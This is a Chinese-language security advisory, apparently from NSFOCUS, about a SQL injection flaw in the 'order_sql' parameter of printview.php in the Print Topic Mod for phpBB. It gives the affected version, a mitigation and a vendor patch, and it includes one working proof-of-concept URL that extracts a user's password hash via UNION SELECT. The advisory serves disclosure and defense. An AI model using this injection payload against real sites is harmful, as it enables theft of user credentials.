首页 -> 安全研究

安全研究

安全漏洞
Adam Ismay Print Topic Mod SQL注入漏洞

发布日期:2004-07-19
更新日期:2004-07-23

受影响系统:
Adam Ismay Print Topic Mod 1.0
描述:
BUGTRAQ  ID: 10757

Adam Ismay Print Topic Mod是打印标题模块,可适合于phpBB等系统。

Adam Ismay Print Topic Mod printview.php脚本不正确处理用户提交的恶意输入,远程攻击者可以利用这个漏洞获得敏感信息或更改系统数据库。

Topic Mod printview.php脚本对用户提交给'order_sql'参数的数据缺少充分过滤,提交包含恶意数据可能更改原有数据库逻辑,修改数据库或获得敏感信息。

<*来源:Bartek Nowotarski (silence10@wp.pl
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Bartek Nowotarski (silence10@wp.pl)提供了如下测试方法:

http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201,%201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER%20BY%20t.topic_id%20ASC

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php.ini中设置register_globals为Off。

厂商补丁:

Adam Ismay
----------
修改程序的67和68行:

67| AND f.forum_id = t.forum_id
68| $order_sql";

改成:

67| AND f.forum_id = t.forum_id";
68|

浏览次数:2788
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障